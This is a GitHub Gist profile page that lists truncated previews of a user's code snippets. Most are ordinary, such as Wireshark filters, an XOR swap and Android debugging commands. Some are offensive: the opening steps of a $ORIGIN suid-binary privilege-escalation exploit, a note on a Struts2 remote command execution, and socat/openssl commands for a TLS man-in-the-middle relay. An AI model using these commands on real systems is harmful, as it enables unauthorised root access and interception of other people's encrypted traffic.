Skip to content

Instantly share code, notes, and snippets.


KINOSHITA Shinji snj

View GitHub Profile
View angular-socket.js
//TODO: make this a module
* # SockJS socket management service
* Creates SockJS socket connection to server, re-connects on disconnection,
* and exports hooks to map handlers for various data interactions.
View psqlfix.txt
mike@rbci:~$ psql -U postgres
psql (9.0.3)
Type "help" for help.
postgres=# update pg_database set datallowconn = TRUE where datname = 'template0';
postgres=# \c template0
You are now connected to database "template0".
template0=# update pg_database set datistemplate = FALSE where datname = 'template1';
snj / key_translator.js
Created Apr 29, 2015
Translated from US into Dvorak
View key_translator.js
// Copyright 2010-2015, Google Inc.
// All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
View Amazon Machine Learning 概要
View gist:7078472
Japan's largest domain name registrar a subsite remote command execution
Japan's largest domain name registrar a subsite remote command execution
Apache struts2 a vulnerability introduced by manipulating parameters
prefixed with "action:"/"redirect:"/"redirectAction:" allows remote command
View gist:7078496
# Create a directory in /tmp we can control.
$ mkdir /tmp/exploit
# Link to an suid binary, thus changing the definition of $ORIGIN.
$ ln /bin/ping /tmp/exploit/target
# Open a file descriptor to the target binary (note: some users are surprised
# to learn exec can be used to manipulate the redirections of the current
# shell if a command is not specified. This is what is happening below).
$ exec 3< /tmp/exploit/target
snj / gist:7079339
Created Oct 21, 2013
wireshark filters
View gist:7079339
1. ip.addr == [Sets a filter for any packet with, as either the source or dest]
2. ip.addr== && ip.addr== [sets a conversation filter between the two defined IP addresses]
3. http or dns [sets a filter to display all http and dns]
4. tcp.port==4000 [sets a filter for any TCP packet with 4000 as a source or dest port]
5. tcp.flags.reset==1 [displays all TCP resets]
snj / gist:7079322
Created Oct 21, 2013
swap a and b without tmp var
View gist:7079322
#include <iostream>
void swap(int& a, int& b){
b ^= a; a ^= b; b ^= a;
int main(){
int a = 1, b = 2;
swap(a, b);
snj / gist:7079345
Created Oct 21, 2013
decrypting https
View gist:7079345
openssl req -new -x509 -newkey rsa:1024 -out server.pem -keyout server.pem
socat -d -d openssl-listen:10443,reuseaddr,fork,cert=server.pem,verify=0 openssl:$target:443,verify=0
snj / gist:7079362
Created Oct 21, 2013
debugging android app
View gist:7079362
stop in jp.example.myapp.ExampleActivity.onCreate
adb wait-for-device shell am start -D -a android.intent.action.MAIN -n jp.example.myapp/.ExampleActivity
adb forward tcp:8888 jdwp:`adb jdwp|tail -1`
jdb -attach localhost:8888